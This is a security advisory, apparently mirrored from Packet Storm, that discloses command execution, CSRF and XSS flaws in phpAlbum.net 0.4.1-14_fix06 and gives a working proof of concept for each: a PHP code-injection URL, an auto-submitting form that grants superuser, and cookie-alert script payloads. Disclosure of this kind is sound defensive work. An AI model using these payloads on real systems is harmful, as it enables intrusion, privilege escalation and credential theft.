Lucene search
K

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

🗓️ 14 Apr 2011 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

phpAlbum.net 0.4.1-14_fix06 vulnerabilities in Arbitrary Command, CSRF, and XS

Code
`====================================  
Vulnerability ID: HTB22924  
Reference: http://www.htbridge.ch/advisory/arbitrary_command_execution_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: Arbitrary Command Execution  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
Arbitrary command execution vulnerability allows an attacker to execute system commands on a vulnerable system.  
  
The vulnerability exists due to failure in the "phpdatabase.php" script to properly sanitize user-supplied input in "var3" variable.  
  
The following PoC is available:  
  
http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')  
  
  
====================================  
Vulnerability ID: HTB22923  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/main.php" method="post" name="main">  
<input type="hidden" name="p_username_f" value="test">  
<input type="hidden" name="p_password_f" value="">  
<input type="hidden" name="p_retype_password_f" value="">  
<input type="hidden" name="p_email_f" value="[email protected]">  
<input type="hidden" name="p_homepage_f" value="http://www.example.com">  
<input type="hidden" name="p_group1" value="guest">  
<input type="hidden" name="p_group2" value="superuser">  
<input type="hidden" name="p_userid_f" value="USERID">  
<input type="hidden" name="cmd" value="setup">  
<input type="hidden" name="var1" value="user">  
<input type="hidden" name="var3" value="USERID">  
<input type="hidden" name="var2" value="update">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
====================================  
Vulnerability ID: HTB22922  
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html  
Product: phpAlbum.net  
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )   
Vulnerable Version: 0.4.1-14_fix06  
Vendor Notification: 31 March 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
1.  
  
http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cookie)</script>  
  
  
2.  
  
<form action="http://host/main.php" method="post" name="main">  
<input type="hidden" name="cmd" value="setup">  
<input type="hidden" name="var1" value="groups">  
<input type="hidden" name="var2" value="add">  
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation